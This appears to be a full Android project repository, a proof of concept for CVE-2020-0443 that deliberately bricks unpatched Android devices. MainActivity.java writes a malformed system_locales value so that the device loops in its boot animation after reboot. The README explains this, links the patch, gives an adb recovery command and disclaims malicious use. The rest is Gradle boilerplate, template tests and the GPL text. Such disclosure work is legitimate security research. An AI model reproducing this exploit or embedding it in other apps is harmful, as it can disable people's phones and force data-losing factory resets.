├── app
├── .gitignore
├── src
│ ├── main
│ │ ├── res
│ │ │ ├── values
│ │ │ │ ├── strings.xml
│ │ │ │ ├── colors.xml
│ │ │ │ └── styles.xml
│ │ │ ├── mipmap-hdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-mdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xhdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxhdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxxhdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── layout
│ │ │ │ └── activity_main.xml
│ │ │ └── drawable
│ │ │ │ └── ic_launcher_background.xml
│ │ ├── AndroidManifest.xml
│ │ └── java
│ │ │ └── poc
│ │ │ └── sithija
│ │ │ └── cve_2020_0443
│ │ │ └── MainActivity.java
│ ├── test
│ │ └── java
│ │ │ └── poc
│ │ │ └── sithija
│ │ │ └── cve_2020_0443
│ │ │ └── ExampleUnitTest.java
│ └── androidTest
│ │ └── java
│ │ └── poc
│ │ └── sithija
│ │ └── cve_2020_0443
│ │ └── ExampleInstrumentedTest.java
├── proguard-rules.pro
└── build.gradle
├── settings.gradle
├── .idea
├── .gitignore
├── compiler.xml
├── misc.xml
├── gradle.xml
└── jarRepositories.xml
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── .gitignore
├── gradle.properties
├── README.md
├── gradlew.bat
├── gradlew
└── LICENSE
/app/.gitignore:
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1 | /build
2 |
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/settings.gradle:
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1 | include ':app'
2 |
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/.idea/.gitignore:
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1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
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/gradle/wrapper/gradle-wrapper.jar:
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/app/src/main/res/values/strings.xml:
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2 | CVE-2020-0443 PoC
3 |
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/app/src/main/res/mipmap-hdpi/ic_launcher.png:
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/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
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/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
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/.gitignore:
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1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea/caches/build_file_checksums.ser
5 | /.idea/libraries
6 | /.idea/modules.xml
7 | /.idea/workspace.xml
8 | .DS_Store
9 | /build
10 | /captures
11 | .externalNativeBuild
12 |
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/gradle/wrapper/gradle-wrapper.properties:
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1 | distributionBase=GRADLE_USER_HOME
2 | distributionPath=wrapper/dists
3 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.8-bin.zip
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 |
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/app/src/main/res/values/colors.xml:
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/app/src/test/java/poc/sithija/cve_2020_0443/ExampleUnitTest.java:
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1 | package poc.sithija.cve_2020_0443;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
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/gradle.properties:
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1 | # Project-wide Gradle settings.
2 | # IDE (e.g. Android Studio) users:
3 | # Gradle settings configured through the IDE *will override*
4 | # any settings specified in this file.
5 | # For more details on how to configure your build environment visit
6 | # http://www.gradle.org/docs/current/userguide/build_environment.html
7 | # Specifies the JVM arguments used for the daemon process.
8 | # The setting is particularly useful for tweaking memory settings.
9 | org.gradle.jvmargs=-Xmx1536m
10 | # When configured, Gradle will run in incubating parallel mode.
11 | # This option should only be used with decoupled projects. More details, visit
12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
13 | # org.gradle.parallel=true
14 |
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16 |
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/app/proguard-rules.pro:
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1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
22 |
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/app/src/androidTest/java/poc/sithija/cve_2020_0443/ExampleInstrumentedTest.java:
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1 | package poc.sithija.cve_2020_0443;
2 |
3 | import android.content.Context;
4 | import android.support.test.InstrumentationRegistry;
5 | import android.support.test.runner.AndroidJUnit4;
6 |
7 | import org.junit.Test;
8 | import org.junit.runner.RunWith;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | /**
13 | * Instrumented test, which will execute on an Android device.
14 | *
15 | * @see Testing documentation
16 | */
17 | @RunWith(AndroidJUnit4.class)
18 | public class ExampleInstrumentedTest {
19 | @Test
20 | public void useAppContext() {
21 | // Context of the app under test.
22 | Context appContext = InstrumentationRegistry.getTargetContext();
23 |
24 | assertEquals("poc.sithija.cve_2020_0443", appContext.getPackageName());
25 | }
26 | }
27 |
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/README.md:
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1 | # CVE-2020-0443
2 |
3 | This is a proof of concept app that exploits [CVE-2020-0443](https://www.cve.org/CVERecord?id=CVE-2020-0443) to brick any Android device. After running the app and rebooting, the device will keep repeating the boot animation.
4 | [A patch](https://android.googlesource.com/platform/frameworks/base/+/d3a2b5832f6ca9da74cda814ec76aec679b3389a) for this vulnerability was released in the [November 2020 Android security bulletin](https://source.android.com/security/bulletin/2020-11-01#framework).
5 | Devices bricked due to this vulnerability can be fixed either through factory reset, or if you have access to ADB during the boot-loop:
6 | ```
7 | adb shell settings put system system_locales en_US
8 | ```
9 | Install and/or run this app at your own risk. I'm not responsible for data loss or damaged devices.
10 | Note that this project is provided for educational purposes only; please don't use it for malicious activities.
11 |
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/app/src/main/AndroidManifest.xml:
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/app/src/main/java/poc/sithija/cve_2020_0443/MainActivity.java:
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1 | package poc.sithija.cve_2020_0443;
2 |
3 | import android.provider.Settings;
4 | import android.support.v7.app.AppCompatActivity;
5 | import android.os.Bundle;
6 | import android.view.View;
7 | import android.widget.Toast;
8 |
9 | public class MainActivity extends AppCompatActivity {
10 | public void settingChange(View view){
11 | try {
12 | final boolean stat = Settings.System.putString(getContentResolver(), "system_locales", "en_US,en_US");
13 | if (stat)
14 | Toast.makeText(getApplicationContext(), "Success! Device will be bricked on next boot.", Toast.LENGTH_LONG).show();
15 | else Toast.makeText(getApplicationContext(), "Unknown error", Toast.LENGTH_LONG).show();
16 | } catch (Exception e){
17 | Toast.makeText(getApplicationContext(), "Exception changing settings: " + e.getMessage(), Toast.LENGTH_LONG).show();
18 | }
19 | }
20 | @Override
21 | protected void onCreate(Bundle savedInstanceState) {
22 | super.onCreate(savedInstanceState);
23 | setContentView(R.layout.activity_main);
24 | }
25 | }
26 |
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/app/build.gradle:
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1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 22
5 | defaultConfig {
6 | applicationId "poc.sithija.cve_2020_0443"
7 | minSdkVersion 18
8 | //noinspection ExpiredTargetSdkVersion
9 | targetSdkVersion 22
10 | versionCode 1
11 | versionName "1.0"
12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
13 | }
14 | buildTypes {
15 | release {
16 | minifyEnabled false
17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
18 | }
19 | }
20 | lintOptions {
21 | checkReleaseBuilds false
22 | // Or, if you prefer, you can continue to check for errors in release builds,
23 | // but continue the build even when errors are found:
24 | abortOnError false
25 | }
26 | }
27 |
28 | dependencies {
29 | implementation fileTree(include: ['*.jar'], dir: 'libs')
30 | implementation 'com.android.support:appcompat-v7:22.2.1'
31 | implementation 'com.android.support.constraint:constraint-layout:1.1.3'
32 | testImplementation 'junit:junit:4.12'
33 | androidTestImplementation 'com.android.support.test:runner:1.0.2'
34 | androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
35 | }
36 |
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/gradlew.bat:
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1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | set DIRNAME=%~dp0
12 | if "%DIRNAME%" == "" set DIRNAME=.
13 | set APP_BASE_NAME=%~n0
14 | set APP_HOME=%DIRNAME%
15 |
16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
17 | set DEFAULT_JVM_OPTS=
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windows variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 |
53 | :win9xME_args
54 | @rem Slurp the command line arguments.
55 | set CMD_LINE_ARGS=
56 | set _SKIP=2
57 |
58 | :win9xME_args_slurp
59 | if "x%~1" == "x" goto execute
60 |
61 | set CMD_LINE_ARGS=%*
62 |
63 | :execute
64 | @rem Setup the command line
65 |
66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
67 |
68 | @rem Execute Gradle
69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
70 |
71 | :end
72 | @rem End local scope for the variables with windows NT shell
73 | if "%ERRORLEVEL%"=="0" goto mainEnd
74 |
75 | :fail
76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
77 | rem the _cmd.exe /c_ return code!
78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
79 | exit /b 1
80 |
81 | :mainEnd
82 | if "%OS%"=="Windows_NT" endlocal
83 |
84 | :omega
85 |
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/gradlew:
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1 | #!/usr/bin/env sh
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Attempt to set APP_HOME
10 | # Resolve links: $0 may be a link
11 | PRG="$0"
12 | # Need this for relative symlinks.
13 | while [ -h "$PRG" ] ; do
14 | ls=`ls -ld "$PRG"`
15 | link=`expr "$ls" : '.*-> \(.*\)$'`
16 | if expr "$link" : '/.*' > /dev/null; then
17 | PRG="$link"
18 | else
19 | PRG=`dirname "$PRG"`"/$link"
20 | fi
21 | done
22 | SAVED="`pwd`"
23 | cd "`dirname \"$PRG\"`/" >/dev/null
24 | APP_HOME="`pwd -P`"
25 | cd "$SAVED" >/dev/null
26 |
27 | APP_NAME="Gradle"
28 | APP_BASE_NAME=`basename "$0"`
29 |
30 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
31 | DEFAULT_JVM_OPTS=""
32 |
33 | # Use the maximum available, or set MAX_FD != -1 to use that value.
34 | MAX_FD="maximum"
35 |
36 | warn () {
37 | echo "$*"
38 | }
39 |
40 | die () {
41 | echo
42 | echo "$*"
43 | echo
44 | exit 1
45 | }
46 |
47 | # OS specific support (must be 'true' or 'false').
48 | cygwin=false
49 | msys=false
50 | darwin=false
51 | nonstop=false
52 | case "`uname`" in
53 | CYGWIN* )
54 | cygwin=true
55 | ;;
56 | Darwin* )
57 | darwin=true
58 | ;;
59 | MINGW* )
60 | msys=true
61 | ;;
62 | NONSTOP* )
63 | nonstop=true
64 | ;;
65 | esac
66 |
67 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
68 |
69 | # Determine the Java command to use to start the JVM.
70 | if [ -n "$JAVA_HOME" ] ; then
71 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
72 | # IBM's JDK on AIX uses strange locations for the executables
73 | JAVACMD="$JAVA_HOME/jre/sh/java"
74 | else
75 | JAVACMD="$JAVA_HOME/bin/java"
76 | fi
77 | if [ ! -x "$JAVACMD" ] ; then
78 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
79 |
80 | Please set the JAVA_HOME variable in your environment to match the
81 | location of your Java installation."
82 | fi
83 | else
84 | JAVACMD="java"
85 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
86 |
87 | Please set the JAVA_HOME variable in your environment to match the
88 | location of your Java installation."
89 | fi
90 |
91 | # Increase the maximum file descriptors if we can.
92 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
93 | MAX_FD_LIMIT=`ulimit -H -n`
94 | if [ $? -eq 0 ] ; then
95 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
96 | MAX_FD="$MAX_FD_LIMIT"
97 | fi
98 | ulimit -n $MAX_FD
99 | if [ $? -ne 0 ] ; then
100 | warn "Could not set maximum file descriptor limit: $MAX_FD"
101 | fi
102 | else
103 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
104 | fi
105 | fi
106 |
107 | # For Darwin, add options to specify how the application appears in the dock
108 | if $darwin; then
109 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
110 | fi
111 |
112 | # For Cygwin, switch paths to Windows format before running java
113 | if $cygwin ; then
114 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
115 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
116 | JAVACMD=`cygpath --unix "$JAVACMD"`
117 |
118 | # We build the pattern for arguments to be converted via cygpath
119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
120 | SEP=""
121 | for dir in $ROOTDIRSRAW ; do
122 | ROOTDIRS="$ROOTDIRS$SEP$dir"
123 | SEP="|"
124 | done
125 | OURCYGPATTERN="(^($ROOTDIRS))"
126 | # Add a user-defined pattern to the cygpath arguments
127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
129 | fi
130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
131 | i=0
132 | for arg in "$@" ; do
133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
135 |
136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
138 | else
139 | eval `echo args$i`="\"$arg\""
140 | fi
141 | i=$((i+1))
142 | done
143 | case $i in
144 | (0) set -- ;;
145 | (1) set -- "$args0" ;;
146 | (2) set -- "$args0" "$args1" ;;
147 | (3) set -- "$args0" "$args1" "$args2" ;;
148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
154 | esac
155 | fi
156 |
157 | # Escape application args
158 | save () {
159 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
160 | echo " "
161 | }
162 | APP_ARGS=$(save "$@")
163 |
164 | # Collect all arguments for the java command, following the shell quoting and substitution rules
165 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
166 |
167 | # by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
168 | if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
169 | cd "$(dirname "$0")"
170 | fi
171 |
172 | exec "$JAVACMD" "$@"
173 |
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1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
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4 | Copyright (C) 2007 Free Software Foundation, Inc.
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583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
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